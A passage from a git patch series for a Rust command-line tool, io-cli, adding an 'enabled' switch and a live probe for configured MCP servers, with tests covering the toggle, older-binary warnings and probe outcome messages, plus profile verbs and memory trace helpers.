nothing" are different facts, and only the second is a fault. +//! //! # The write half, and the one number it must not be handed //! //! [`add`], [`edit`] and [`remove`] are the three verbs, and two of them address @@ -90,7 +115,7 @@ use std::collections::{BTreeMap, BTreeSet}; use std::path::Path; use io_harness::config::{Config, Scope}; -use io_harness::{EventKind, McpServer, McpTransport}; +use io_harness::{EventKind, McpProbe, McpServer, McpTransport, Policy}; use crate::configure::Decided; @@ -112,6 +137,11 @@ pub enum Reached { /// **Not a failure.** It is the state every server is in before the first /// turn runs, and the state a server stays in for a whole session that never /// needed it. + /// + /// **Not `McpProbe::Unreachable` either**, and [`probed`] words the two so + /// that neither can be read as the other: this is nobody having called the + /// server, and that is io-cli having called it and got nothing back. A probe + /// never writes this state and this state never renders as a probe's. NotYet, } @@ -441,6 +471,14 @@ pub fn declared_in(root: &Path, id: &str) -> Option { /// `[[mcp]]` is not held to `deny_unknown_fields`, so `comand = "…"` is written, /// accepted, and ignored. The one write in this crate whose failure says nothing /// at all is the one worth spending a `const` on. +/// +/// **0.30.0 added one name to it and did not relax the check.** `enabled` is +/// io-harness 0.70.0's own field and 0.29.0 refused it only because the release +/// shipped no way to switch a server back on; both halves exist now, so the name +/// is listed. Widening [`edit`] to accept *any* key instead would be the same +/// change to look at and the opposite change to live with: the exemption above +/// means a misspelling would then be written, parsed, reported as landed, and +/// ignored by every turn after it. pub const KEYS: &[&str] = &[ "id", "transport", @@ -452,8 +490,49 @@ pub const KEYS: &[&str] = &[ "url", "headers", "timeout_secs", + // Whether io-harness starts it at all. io-harness 0.70.0's, honoured before + // the process or the socket exists. + "enabled", ]; +/// What writing an `enabled` key into an `[[mcp]]` entry costs an older binary. +/// +/// **The mirror image of [`crate::pluginview::OLDER_BINARY`], and the dangerous +/// half of the pair.** `enabled` on a `[[plugin]]` makes an io-cli built against +/// io-harness 0.69.0 refuse the whole configuration file: loud, total, and +/// impossible to miss. `[[mcp]]` is one of the two sections that binary exempts +/// from `deny_unknown_fields`, so the same key there is **read, accepted and +/// ignored** — and the server the operator switched off starts and runs, on that +/// machine, with nothing on any surface saying so. +/// +/// So the two sentences are two constants. One string used for both would be +/// telling an operator on the quiet path that they will notice. +pub const OLDER_BINARY: &str = + "this writes an `enabled` key into an `[[mcp]]` entry, which is io-harness 0.70.0's: an io-cli \ + built against 0.69.0 does not refuse it — it ignores the key and starts the server anyway, \ + with nothing said"; + +/// The edit that switches the server at `at` on or off. +/// +/// **One key and no other byte of the file**, for the reason +/// [`crate::pluginview::enable`] gives about the sibling section: +/// [`crate::edit::Edit::set`] replaces the value's own span, so the transport, the +/// arguments, the environment, every sibling entry and every comment come through +/// untouched. An operator who diffs their `io.toml` afterwards sees one word +/// change. **The entry is never removed** — a server switched off is one the file +/// still declares, which is the whole difference between this verb and +/// [`remove`]. +/// +/// The one write both doors build, so `io mcp disable ` and the `/mcp` +/// keystroke cannot produce different bytes. Says [`OLDER_BINARY`] to whoever is +/// about to be shown a sentence about it. +pub fn switch(at: &At, on: bool) -> crate::edit::Edit { + // `true`/`false` bare rather than through `quoted`: `enabled` is a TOML + // boolean, and `enabled = "false"` is a string io-harness refuses on + // `configure::write`'s round trip. + crate::edit::Edit::set(format!("mcp[{}].enabled", at.index), on.to_string()) +} + /// The edit that adds a whole server. /// /// A whole `[[mcp]]` entry, because an array of tables grows by gaining a block @@ -532,6 +611,135 @@ pub fn remove(at: &At) -> crate::edit::Edit { crate::edit::Edit::remove(format!("mcp[{}]", at.index)) } +/// Try one configured server for real, and report what came back. +/// +/// **[`crate::preflight`] asks the policy; this one goes and looks.** The preflight +/// is a pure question put to [`Policy`] and answers before anything exists, which +/// is right at the moment a server is *added*. It cannot tell an operator whether +/// the command is on this machine's path or whether the far end speaks MCP, and +/// those are the two things they are actually asking when a server they configured +/// contributes nothing. [`io_harness::probe_mcp`] answers all of it: it makes the +/// same policy check the run makes, in the same order, **before** spawning or +/// dialling; it really does spawn or dial and complete the handshake; it shuts the +/// server down on every path that started one; and it is bounded by the server's +/// own `timeout_secs`. +/// +/// It returns no `Result` of its own — every failure is a variant of +/// [`McpProbe`] — so the only error here is the one io-harness cannot have an +/// opinion about: an id no configuration file in force declares. +/// +/// **Nothing is folded into [`Observed`].** A probe is io-cli reaching out on its +/// own, and `Observed` is what a *run* was seen to do; a probe that wrote into it +/// would put a fact no turn produced under a heading that says a turn did. That is +/// enforced by this signature taking no `&mut Observed` rather than by a rule +/// somebody has to remember. +pub async fn probe(config: &Config, id: &str, policy: &Policy) -> Result { + let server = config + .mcp_servers() + .iter() + .find(|server| server.id == id) + .ok_or_else(|| { + format!( + "no configuration file in force declares an MCP server called `{id}`, so there is \ + nothing to probe; `mcp list` shows the ones that are configured" + ) + })?; + Ok(io_harness::probe_mcp(server, policy).await) +} + +/// What [`probed`] says about a state this build of io-cli has no arm for. +/// +/// **[`McpProbe`] is `#[non_exhaustive]` and that is a promise, not a formality**: +/// io-harness's own rustdoc names the case it expects to add — a server that +/// answers but speaks a protocol version the crate will not talk. A `_` arm that +/// re-used one of the five known sentences would report that as something it is +/// not, and the operator would go and fix the wrong thing. So the unknown state is +/// spelled as unknown, and it names the repair that actually applies. +/// +/// A `const` so a test can assert that no known variant renders it, and that it +/// renders no known variant's words. +pub const UNMODELLED: &str = + "a newer io-harness reported an outcome this build of io-cli does not model, so there is \ + nothing here that can be said about it — upgrade io-cli rather than reading it as one of \ + the states this build knows"; + +/// The sentence a probe comes to, for the operator who asked for it. +/// +/// Six outcomes and six sentences, because the whole value of [`McpProbe`] is that +/// they are different answers with different repairs: a refusal needs a policy +/// rule, a failed spawn needs the command fixed, a silent host needs somebody to +/// look at the host, and a switched-off server needs nothing at all. "It did not +/// work" is the report that costs a turn to act on. +/// +/// **`Unreachable` is worded so it cannot be read as [`Reached::NotYet`].** That +/// state means no turn has called the server yet and is explicitly *not* a failure; +/// this one means io-cli went and looked and got nothing. See the module docs. +pub fn probed(id: &str, probe: &McpProbe) -> String { + match probe { + // Nothing was spawned, nothing was dialled, and the policy was not even + // consulted — the same thing a run does with it, which is why this is not + // reported as a failure to start. + McpProbe::Disabled => format!( + "`{id}` is {DISABLED} in the configuration, so nothing was started and nothing was \ + asked of the policy", + ), + // All four fields, because they are two different repairs: `act` and + // `target` say what to allow, `rule` and `layer` say what denied it. + McpProbe::Refused { + act, + target, + rule, + layer, + } => format!( + "`{id}` was refused before it was started: the policy refuses {act} on `{target}`, by \ + {}", + decided_by(rule.as_deref(), layer.as_deref()), + ), + // The policy allowed it and the program is not there. The fix is the + // command, and the server was never reached at all. + McpProbe::NotStarted { reason } => format!( + "`{id}` did not start: {reason}. The policy allowed it, so what is wrong is the \ + command", + ), + // It started, or the URL was allowed, and the far end gave nothing back. + McpProbe::Unreachable { reason } => format!( + "io-cli called `{id}` and it did not answer: {reason}. The command and the policy are \ + both fine; the far end is not", + ), + McpProbe::TimedOut { secs } => format!( + "io-cli called `{id}` and it stayed silent for {secs}s, which is its own \ + `timeout_secs`", + ), + // The namespaced names, because those are what the model would see and + // what the policy would decide on — the bare ones the server sent appear + // nowhere a rule can name them. + McpProbe::Answered { tools } if tools.is_empty() => { + format!("`{id}` answered and offers no tools at all") + } + McpProbe::Answered { tools } => format!( + "`{id}` answered and offers {} tools: {}", + tools.len(), + tools.join(", "), + ), + // **Required, and it must not name a state this build knows.** See + // [`UNMODELLED`]. + _ => format!("`{id}`: {UNMODELLED}"), + } +} + +/// Who decided a refusal: the rule and its layer, or a default with no rule. +/// +/// The same shape [`crate::preflight`] prints for the question it asks earlier, and +/// spelled again here rather than shared because that one is private to a module +/// whose input is a `Preflight` and this one's is io-harness's own two `Option`s. +fn decided_by(rule: Option<&str>, layer: Option<&str>) -> String { + match (rule, layer) { + (Some(rule), Some(layer)) => format!("the rule `{rule}` in the `{layer}` layer"), + (Some(rule), None) => format!("the rule `{rule}`"), + (None, _) => "the policy's own default for that act (no rule matched)".to_string(), + } +} + /// A TOML basic string, escaped. /// /// Here rather than through `toml::to_string`, which would need a document to diff --git a/tests/plugins.rs b/tests/plugins.rs index bb09e28..940d4ff 100644 --- a/tests/plugins.rs +++ b/tests/plugins.rs @@ -535,6 +535,116 @@ max_steps = 30 ); } +/// **F11 (0.30.0).** A bundle is switched off and back on, and the entry survives. +/// +/// Not the F11 the `f11_candidates_*` tests further down this file cover — that is +/// 0.28.0's criterion about resolving the word an operator typed. The contracts +/// number independently and this file now holds tests from both; the doc comment is +/// what says which, since the name cannot. +/// +/// `pluginview::disable` writes `false` where `enable` writes `true`, into the same +/// one key of the same one entry. Everything else about the declaration — the path +/// it names, and therefore the bundle's identity — is the same bytes afterwards, +/// which is what separates this verb from `remove`: the bundle goes on being listed +/// under `DISABLED_MARK` instead of vanishing, and the way back on is the same +/// keystroke again rather than typing the directory out. +/// +/// The whole round trip goes through io-harness: the file is written, re-discovered +/// and read back through `Plugins::disabled()`, because `[[plugin]]` *is* held to +/// `deny_unknown_fields` and a fixture that only grepped the text would pass on a +/// key the harness never honoured. +/// +/// Sabotage: have `disable` call `remove`. The bundle stops being declared at all — +/// `view.plugins` no longer names it, the `DISABLED_MARK` row is not there, and the +/// path assertion on the file fails first. +#[test] +fn f11_a_bundle_is_switched_off_and_back_on_and_the_entry_survives() { + let (_dir, root) = root(); + bundle(&root, "good", MINIMAL); + declaring(&root, LOCAL_FILE, &["good"]); + let file = root.join(LOCAL_FILE); + let before = std::fs::read_to_string(&file).expect("the configuration"); + + let off = io_cli::edit::apply(&before, &[pluginview::disable(0)]).expect("the edit applies"); + assert!( + off.contains("path = \"good\""), + "the declaration was taken away rather than switched off: {off}", + ); + assert!( + off.contains("enabled = false"), + "the key is not a TOML boolean, and io-harness refuses `enabled = \"false\"`: {off}", + ); + std::fs::write(&file, &off).expect("the configuration"); + + let config = Config::discover(&root).expect("the configuration loads"); + let view = pluginview::view(&config); + let listed = view + .plugins + .iter() + .find(|plugin| plugin.id == "rust-review") + .expect("a switched-off bundle is still declared and still listed"); + assert!( + !listed.enabled, + "the bundle is still loading, so nothing was switched off", + ); + + // The mark, because a row that vanished and a row that says so are the two + // answers this verb chooses between. + let rows = pluginview::rows(&view, 120, &io_cli::glyphs::ASCII); + let row = rows + .iter() + .find(|row| row.label == "rust-review") + .expect("a row per declared bundle"); + assert_eq!( + row.mark, + Some(pluginview::DISABLED_MARK), + "a switched-off bundle must be drawn under its own mark rather than \ + disappearing or reading as loaded", + ); + + // And back on, from exactly where it was. + let on = io_cli::edit::apply(&off, &[pluginview::enable(0)]).expect("the edit applies"); + assert!(on.contains("enabled = true"), "{on}"); + assert!(on.contains("path = \"good\""), "{on}"); + std::fs::write(&file, &on).expect("the configuration"); + let config = Config::discover(&root).expect("the configuration loads"); + assert!( + pluginview::view(&config) + .plugins + .iter() + .any(|plugin| plugin.id == "rust-review" && plugin.enabled), + "a bundle switched off cannot be switched back on, which is the half \ + 0.29.0 could not ship", + ); +} + +/// **F12, the `[[plugin]]` half.** The sentence this write costs an older binary +/// is not the sentence the `[[mcp]]` write costs. +/// +/// Stated on both surfaces because an operator who has met one will assume the +/// other behaves the same way, and here they are opposites: a 0.69.0 binary refuses +/// the *whole configuration file* over `enabled` in a `[[plugin]]`, and silently +/// ignores it in an `[[mcp]]` — starting a server that was switched off. The full +/// pairing is asserted in `tests/servers_enabled.rs`; this is the half that lives +/// beside the write it describes. +/// +/// Sabotage: use `pluginview::OLDER_BINARY` for both. This test and its twin fail +/// together, and the one that matters is the MCP side, where the operator is told +/// they will notice something they will not. +#[test] +fn f12_the_plugin_older_binary_sentence_is_about_the_whole_file() { + let plugin = pluginview::OLDER_BINARY; + assert!( + plugin.contains("refuses the whole configuration file"), + "the cost of this key on an older binary is total, not partial: {plugin}", + ); + assert_ne!( + plugin, + io_cli::servers::OLDER_BINARY, + "the two `enabled` writes cost opposite things and cannot share a sentence", + ); +} + // --------------------------------------------------------------------------- // F2/F3 rendering — the sentence, and the index mapping // --------------------------------------------------------------------------- diff --git a/tests/servers_enabled.rs b/tests/servers_enabled.rs index 04b8d4d..3453ee2 100644 --- a/tests/servers_enabled.rs +++ b/tests/servers_enabled.rs @@ -12,21 +12,32 @@ //! and `src/servers.rs`'s own module docs argued it could not happen, in three //! clauses that io-harness 0.70.0 had already falsified. //! -//! Nothing in this crate writes `enabled` into an `[[mcp]]` table. What reaches -//! this state is a file somebody hand-edited or a repository they cloned, which is -//! exactly the case a listing exists to explain: every turn runs without those -//! tools, and without this the operator has nowhere to look. +//! **0.30.0 writes it as well as reads it**, and the second half of this file is +//! about that write: `servers::switch`, the one edit `io mcp disable `, `io mcp +//! enable ` and the `/mcp` keystroke all build; the sentence it costs an older +//! binary, which is not the sentence the `[[plugin]]` key costs; and +//! `servers::probe`, which asks io-harness to go and try the server rather than +//! asking the policy what it would say. //! //! A separate file from `tests/servers.rs` because that one is the 0.28.0 //! management surface and this is a property of the pin. -use io_cli::servers::{self, Observed, Reached}; -use io_harness::Config; +use io_cli::servers::{self, At, Observed, Reached}; +use io_harness::config::Scope; +use io_harness::{Config, McpProbe, Policy}; /// One server switched off, one left alone, in the order the file names them. -fn mixed() -> Config { - Config::from_toml( - "\ +/// +/// The bytes as well as the parsed configuration, because half of this file is +/// about a *write*: `servers::At` addresses an entry by finding its id in the +/// file's own text, so a test of the write has to hold the text. +/// +/// `mcp-docs` and `mcp-search` are commands that do not exist on any machine this +/// runs on, which is load-bearing in the probe tests below: a disabled server that +/// io-harness answered `Disabled` for was never spawned, and one it tried to spawn +/// answers `NotStarted`. The two are distinguishable precisely because the command +/// is not real. +const MIXED: &str = "\ [[mcp]] id = \"docs\" transport = \"stdio\" @@ -37,9 +48,15 @@ enabled = false id = \"search\" transport = \"stdio\" command = \"mcp-search\" -", - ) - .expect("the fixture parses") +"; + +fn mixed() -> Config { + Config::from_toml(MIXED).expect("the fixture parses") +} + +/// Where `MIXED` declares one of its two servers. +fn at(id: &str) -> At { + At::of(Scope::User, MIXED, id).unwrap_or_else(|| panic!("the fixture names `{id}`")) } /// **The state reaches `Server`, and an absent key still means on.** @@ -147,3 +164,384 @@ fn a_switched_off_server_is_still_located_in_the_file_that_declares_it() { separately from the file's instruction", ); } + +/// **F10 — switching a server off leaves the entry, and every other key of it.** +/// +/// The criterion in one test: after the write the `[[mcp]]` entry still exists, its +/// every other key is unchanged, `servers` and `rows` both report it off, and the +/// file reads back as io-harness's own [`io_harness::McpServer`] — which is the +/// only check that a `[[mcp]]` write really landed, since that section is exempt +/// from `deny_unknown_fields` and a key the harness ignores parses perfectly. +/// +/// Sabotage: implement disable as `servers::remove`. The entry-still-exists +/// assertion is the first thing to go, and the `mcp_servers()` length assertion +/// after it says which entry was lost. +#[test] +fn f10_a_server_is_switched_off_without_being_taken_out_of_the_file() { + let after = io_cli::edit::apply(MIXED, &[servers::switch(&at("search"), false)]) + .expect("the write parses back"); + + // The entry is still there, and so is everything that made it a server. + assert!( + after.contains("id = \"search\""), + "the entry was taken away rather than switched off: {after}", + ); + assert!( + after.contains("command = \"mcp-search\""), + "the command went with the switch: {after}", + ); + assert!( + after.contains("transport = \"stdio\""), + "the transport went with the switch: {after}", + ); + // And the neighbour is untouched, which is what stops this passing on a + // rewrite-the-whole-file implementation. + assert!(after.contains("command = \"mcp-docs\"")); + + let config = Config::from_toml(&after).expect("the written file loads"); + assert_eq!( + config.mcp_servers().len(), + 2, + "both servers are still declared; a disable that removes is a remove", + ); + + let list = servers::servers(&config, &Observed::default()); + for server in &list { + assert!( + !server.enabled, + "`{}` is still reported as running after both were switched off", + server.id, + ); + } + // The panel says so too, on the row that was on a moment ago. + let rows = servers::rows(&list); + let row = rows + .iter() + .find(|row| row.label == "search") + .expect("a row per configured server"); + assert!( + row.detail + .as_deref() + .is_some_and(|detail| detail.contains(servers::DISABLED)), + "the row for the server just switched off does not say so: {:?}", + row.detail, + ); +} + +/// **F10 — and it switches back on, which is the half 0.29.0 could not ship.** +/// +/// `switch(.., true)` over the entry `MIXED` declares off, read back through +/// io-harness. A toggle that only goes one way is what the 0.29.0 refusal in +/// `tests/servers.rs` was standing in for. +#[test] +fn f10_a_server_switched_off_in_the_file_is_switched_back_on() { + let after = io_cli::edit::apply(MIXED, &[servers::switch(&at("docs"), true)]) + .expect("the write parses back"); + let config = Config::from_toml(&after).expect("the written file loads"); + let docs = servers::servers(&config, &Observed::default()) + .into_iter() + .find(|server| server.id == "docs") + .expect("the entry is still declared"); + assert!( + docs.enabled, + "`enabled = false` was not replaced, so the way back on does not exist", + ); + + // A boolean and not a string. `enabled = "true"` parses as TOML and io-harness + // refuses it — which `configure::write`'s round trip would catch, at the cost + // of an operator being told their toggle is broken. + assert!( + after.contains("enabled = true"), + "the value must be a TOML boolean: {after}", + ); +} + +/// **F10's second sabotage — `KEYS` gained one name and the check did not move.** +/// +/// The refusal exists because `[[mcp]]` is one of two sections io-harness exempts +/// from `deny_unknown_fields`: a misspelled key is spliced in, accepted on +/// `configure::write`'s round trip, reported to the operator as written, and +/// ignored by every turn after it. Widening `servers::edit` to accept any key — +/// rather than listing `enabled` — would look like the same change and would put +/// that back. +/// +/// Sabotage: replace the `KEYS.contains` guard with an unconditional `Some`. The +/// two assertions below on `comand` and `enbled` fail. +#[test] +fn f10_widening_keys_by_one_name_did_not_widen_the_check() { + let docs = at("docs"); + assert!( + servers::KEYS.contains(&"enabled"), + "the criterion names `enabled` in `KEYS` and it is not there", + ); + assert!( + servers::edit(&docs, "enabled", "false").is_some(), + "the listed name is refused, so the verb has no writer", + ); + assert!( + servers::edit(&docs, "comand", "\"mcp-find\"").is_none(), + "a typo'd key is accepted, and io-harness will not complain about it either", + ); + assert!( + servers::edit(&docs, "enbled", "false").is_none(), + "a near-miss on the very key this release added is written and ignored — \ + the server would go on running while the operator was told it stopped", + ); +} + +/// **F12 — the two `enabled` writes cost an older binary opposite things.** +/// +/// A `[[plugin]]` entry carrying `enabled` makes an io-cli built against io-harness +/// 0.69.0 refuse the **whole configuration file**: every setting in it, loudly, at +/// startup. The same key in an `[[mcp]]` entry is **ignored** by that binary, and +/// the server the operator switched off starts and runs with nothing said. +/// +/// The second is the dangerous one, and an operator who has met the first will +/// assume the second behaves the same way. One constant for both would be that +/// assumption written down. +/// +/// Sabotage: `pub use crate::pluginview::OLDER_BINARY` for the MCP side, or paste +/// the plugin sentence into `servers::OLDER_BINARY`. The inequality fails first, +/// and the word assertions say which half went missing. +#[test] +fn f12_the_two_older_binary_sentences_are_not_the_same_sentence() { + let plugin = io_cli::pluginview::OLDER_BINARY; + let server = servers::OLDER_BINARY; + assert_ne!( + plugin, server, + "one sentence for two opposite costs tells the operator on the silent path \ + that they will notice", + ); + + assert!( + plugin.contains("[[plugin]]") && plugin.contains("refuses"), + "the plugin sentence must say the whole file is refused: {plugin}", + ); + assert!( + server.contains("[[mcp]]") && server.contains("ignores"), + "the MCP sentence must say the key is ignored: {server}", + ); + assert!( + server.contains("anyway") || server.contains("starts the server"), + "the MCP sentence must say the server runs regardless, which is the cost: \ + {server}", + ); + // And neither is a copy of the other's claim: a plugin sentence that said + // "ignores" would be wrong about the loud case, which is the direction that + // makes an operator distrust the warning entirely. + assert!( + !plugin.contains("ignores the key"), + "the plugin sentence claims the quiet behaviour: {plugin}", + ); +} + +/// **F13 — six outcomes, six sentences, and the sixth is the one nobody can build.** +/// +/// Five of `McpProbe`'s variants can be constructed here. The sixth cannot exist +/// yet — it is whatever a later io-harness adds behind `#[non_exhaustive]` — so it +/// is asserted through `servers::UNMODELLED`, the string the `_` arm renders: no +/// known variant may produce it, and it may not produce any known variant's words. +/// +/// Sabotage: collapse `Disabled` into `NotStarted`. The disabled sentence stops +/// naming the file's instruction and the pairwise-distinct assertion fails on that +/// pair. Second sabotage: drop the `_` arm and let a catch-all name a known state — +/// whichever variant the catch-all swallowed loses its own sentence below. +#[test] +fn f13_every_probe_outcome_is_its_own_sentence() { + let disabled = servers::probed("docs", &McpProbe::Disabled); + let refused = servers::probed( + "docs", + &McpProbe::Refused { + act: "exec".to_string(), + target: "mcp-docs".to_string(), + rule: Some("mcp-*".to_string()), + layer: Some("project".to_string()), + }, + ); + let not_started = servers::probed( + "docs", + &McpProbe::NotStarted { + reason: "could not spawn mcp-docs: No such file or directory".to_string(), + }, + ); + let unreachable = servers::probed( + "docs", + &McpProbe::Unreachable { + reason: "connection reset".to_string(), + }, + ); + let timed_out = servers::probed("docs", &McpProbe::TimedOut { secs: 60 }); + let answered = servers::probed( + "docs", + &McpProbe::Answered { + tools: vec![ + "mcp__docs__search".to_string(), + "mcp__docs__fetch".to_string(), + ], + }, + ); + + // A switched-off server reports the instruction, not a failure to start. + assert!( + disabled.contains(servers::DISABLED), + "a disabled server must be reported as disabled: {disabled}", + ); + assert!( + !disabled.contains("did not start"), + "`Disabled` is rendered as a failed spawn, which sends the operator to fix \ + a command that was never run: {disabled}", + ); + + // All four fields of a refusal, because `act`/`target` and `rule`/`layer` are + // two different repairs — add an allow, or remove a deny. + for wanted in ["exec", "mcp-docs", "mcp-*", "project"] { + assert!( + refused.contains(wanted), + "a refusal must name {wanted}: {refused}", + ); + } + + assert!( + not_started.contains("No such file or directory"), + "the spawn failure is what tells the operator the path is wrong: \ + {not_started}", + ); + assert!( + unreachable.contains("connection reset"), + "the transport's own words are the only thing that locates this: \ + {unreachable}", + ); + assert!( + timed_out.contains("60"), + "the bound that was exceeded is the number to change: {timed_out}", + ); + // The namespaced names, which are what the model sees and what a policy rule + // can name. The bare `search` appears nowhere a rule could match it. + assert!( + answered.contains("mcp__docs__search") && answered.contains("mcp__docs__fetch"), + "an answering server lists the namespaced tools io-harness returned: \ + {answered}", + ); + + // Six sentences, pairwise. The `_` arm's is included: it stands for the + // outcome no test can construct, and the only thing that can be asserted about + // it is that it is nobody else's sentence. + let unknown = format!("`docs`: {}", servers::UNMODELLED); + let all = [ + ("disabled", &disabled), + ("refused", &refused), + ("not started", ¬_started), + ("unreachable", &unreachable), + ("timed out", &timed_out), + ("answered", &answered), + ("unmodelled", &unknown), + ]; + for (i, (left_name, left)) in all.iter().enumerate() { + for (right_name, right) in all.iter().skip(i + 1) { + assert_ne!( + left, right, + "{left_name} and {right_name} render the same sentence, so the \ + repair an operator goes off to make is a coin toss", + ); + } + } + // And no known outcome renders as the unknown one, which is the other half of + // the `_` arm being honest. + for (name, line) in all.iter().take(6) { + assert!( + !line.contains(servers::UNMODELLED), + "{name} is reported as a state this build does not model: {line}", + ); + } +} + +/// **F13 — a disabled server is probed without being started.** +/// +/// This is the one probe assertion that reaches `io_harness::probe_mcp` for real, +/// and it is safe to run anywhere because the whole point is that nothing is +/// spawned: io-harness answers `Disabled` before it looks at the transport. The +/// fixture's command does not exist, so an implementation that spawned first would +/// come back `NotStarted` and this fails by name. +#[tokio::test] +async fn f13_a_disabled_server_is_probed_without_a_process_being_started() { + let config = mixed(); + let policy = Policy::default().layer("test").allow_exec("*"); + + let probe = servers::probe(&config, "docs", &policy) + .await + .expect("the fixture declares `docs`"); + assert_eq!( + probe, + McpProbe::Disabled, + "a switched-off server was started, or the answer was reported as \ + something else", + ); + + // An id nothing declares is the one thing `probe_mcp` cannot have an opinion + // about, so it is this crate's refusal — and it names the verb that lists them. + let refusal = servers::probe(&config, "never-configured", &policy) + .await + .expect_err("no file declares it"); + assert!( + refusal.contains("never-configured") && refusal.contains("mcp list"), + "the refusal has to say which id and where to look: {refusal}", + ); +} + +/// **F14 — a probe is never confused with the observation beside it.** +/// +/// `Reached::NotYet` is documented as *not a failure*: it is the state every server +/// is in before the first turn. `McpProbe::Unreachable` is io-cli having gone and +/// looked and got nothing. Rendering one in the other's words would turn a fresh +/// session into a wall of faults, or a real fault into "nothing has called it yet". +/// +/// Sabotage: render `NotYet` with the probe's unreachable string, or the reverse. +/// The two containment assertions fail in whichever direction the words were +/// copied. +#[tokio::test] +async fn f14_a_probe_and_a_state_nobody_reached_are_different_words() { + let list = servers::servers(&mixed(), &Observed::default()); + let rows = servers::rows(&list); + let not_yet = rows + .iter() + .find(|row| row.label == "search") + .and_then(|row| row.detail.clone()) + .expect("the server that is on draws a row"); + assert!( + not_yet.contains("not reached"), + "the passive state's own words moved: {not_yet}", + ); + + let unreachable = servers::probed( + "search", + &McpProbe::Unreachable { + reason: "connection reset".to_string(), + }, + ); + assert!( + !unreachable.contains("not reached"), + "a probe that went and looked is reported as a server nobody has called: \ + {unreachable}", + ); + assert!( + !not_yet.contains("did not answer"), + "a server nobody has called this session is reported as one that failed to \ + answer: {not_yet}", + ); + + // **And a probe writes nothing into `Observed`.** The signature is the real + // guarantee — `probe` takes no `&mut Observed` — and this is the behavioural + // half of it: a probe happened, and the panel still says nobody has called the + // server, because no turn has. + let config = mixed(); + let observed = Observed::default(); + let policy = Policy::default().layer("test").allow_exec("*"); + let _ = servers::probe(&config, "docs", &policy) + .await + .expect("the fixture declares `docs`"); + assert_eq!( + observed.of("docs"), + Reached::NotYet, + "a probe put its own result under a heading that says a turn produced it", + ); +} From 9e2f2e229f55d707a29ab7bc8623124695193dfe Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:19:07 +0530 Subject: [PATCH 07/17] =?UTF-8?q?chore(develop):=20`/mcp=20probe=20`?= =?UTF-8?q?=20and=20`io=20mcp=20probe=20`=20over=20`io=5Fharn=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T05 --- src/commands.rs | 150 +++++++++++++++++++++++++++++++++++++++++++++-- tests/servers.rs | 22 +++---- 2 files changed, 157 insertions(+), 15 deletions(-) diff --git a/src/commands.rs b/src/commands.rs index f146a79..cee068e 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -1212,8 +1212,14 @@ pub enum Action { Skills, /// Show the provider chain, in the order a turn tries it. Provider, - /// List the named profiles, and switch to one for this session. - Profile, + /// List the named profiles and switch to one for this session — and, since + /// 0.30.0, create one, remove one, or clear the switch. + /// + /// Bare `/profile` is the picker, which is where an operator who does not yet + /// know what their profiles are called goes. The verbs exist because the + /// picker cannot carry a name the operator is inventing: a value only they can + /// author is typed, and the surface states the shape and prefills the composer. + Profile(ProfileVerb), /// Say how much reasoning the next turn should buy, or report what is in force. /// /// The word is spelled the way `/contain on` is: an argument on the existing @@ -1812,6 +1818,101 @@ pub fn forgotten_said( } } +/// What putting a withdrawn memory back actually put back. +/// +/// **An empty answer is a refusal and never a success.** [`crate::recall::unforget`] +/// returns the keys the rewind genuinely restored, and reporting "restored" over an +/// empty slice is the same lie [`forgotten_said`]'s own refusal arm exists to +/// prevent — the operator would be told the note is back and find it gone. +pub fn unforgotten_said(key: &str, restored: &[String]) -> (Tone, String) { + if restored.is_empty() { + return ( + Tone::Refused, + format!( + "{key} was not put back: that restore point no longer holds it, and nothing \ + was changed" + ), + ); + } + ( + Tone::Success, + format!( + "{key} is back, with {} entr{} restored from that run", + restored.len(), + if restored.len() == 1 { "y" } else { "ies" }, + ), + ) +} + +/// What the store recorded about memory during one run. +/// +/// The three io-harness announces nowhere else — an eviction, a pin refusal and a +/// recall ([`crate::recall::Happened`]) — which is why they are read from +/// `Store::context_events` and never from the observer stream: **none of the three +/// emits an `EventKind` at all**, so this page is their only witness. +/// +/// Committed rather than said, like [`memory_notes`] beside it: they are facts +/// about a run that outlive the keystroke, and the footer's one row would show only +/// the last of them. +/// +/// Empty when the session has not run a turn — nothing has had the chance to +/// happen, which is not the same as nothing having happened. +pub fn trace_notes(view: &crate::recall::View, glyphs: &crate::glyphs::Glyphs) -> Vec { + view.trace + .iter() + .map(|note| match ¬e.detail { + Some(detail) => format!( + "step {} {} {}{}{detail}", + note.step, + glyphs.dash, + note.happened.label(), + glyphs.separator, + ), + None => format!( + "step {} {} {}", + note.step, + glyphs.dash, + note.happened.label() + ), + }) + .collect() +} + +/// The rows for one instruction file's notes. +/// +/// The note's own text is the label, because content comes before metadata on +/// every line in this product, and the line number rides the detail column. +/// +/// **A note carrying a continuation body says so, and that is not decoration.** +/// [`crate::import`] writes a foreign tool's entire instructions file as one +/// bullet plus the document beneath it, so `forget` on that note removes the +/// bullet and orphans the document — still read into every prompt, no longer +/// inside any list item. An operator offered "forget this" over a row that will +/// remove one line of four hundred is being offered a verb that does a fraction of +/// what it looks like it does. +pub fn note_rows(notes: &[crate::memory::Note]) -> Vec { + notes + .iter() + .map(|note| { + let carried = note.carries(); + crate::picker::Row::with_detail( + note.text.clone(), + if carried == 0 { + format!("line {}", note.numbered()) + } else { + format!( + "line {} {} carries {carried} more line{} that forgetting it will leave \ + behind", + note.numbered(), + crate::glyphs::ASCII.dash, + if carried == 1 { "" } else { "s" }, + ) + }, + ) + }) + .collect() +} + /// The key table as this session actually behaves. /// /// **`/help` renders this, never [`KEYS`] directly, and that is the whole point @@ -1876,6 +1977,47 @@ pub fn rows(keys: &Keys, newline: Newline) -> Vec<(String, String)> { /// when it attached. It is here rather than inside [`help`] or [`rows`] so that /// everything downstream of it is a pure function of the value, which is the /// property `tests/keyboard.rs` drives both ways. +/// What `/profile` was asked to do. +/// +/// A closed set, refused by name rather than guessed at. `/profile fast` is +/// **not** a switch to `fast`: a bare word here would make a profile called +/// `clear` unswitchable and a typo into a silent no-op, and the picker already +/// answers "switch to one of these" better than typing does. The same reasoning +/// `/effort` gives for refusing `hgih` instead of choosing the nearest level. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum ProfileVerb { + /// Bare `/profile` — the picker over the declared names. + List, + /// `/profile create `. The name is everything after the verb, trimmed, + /// so a profile may be called `slow ci` without quoting. + Create(String), + /// `/profile remove `. + Remove(String), + /// `/profile clear` — back to no profile, writing nothing. + Clear, + /// A word that is none of the above, carried so the refusal 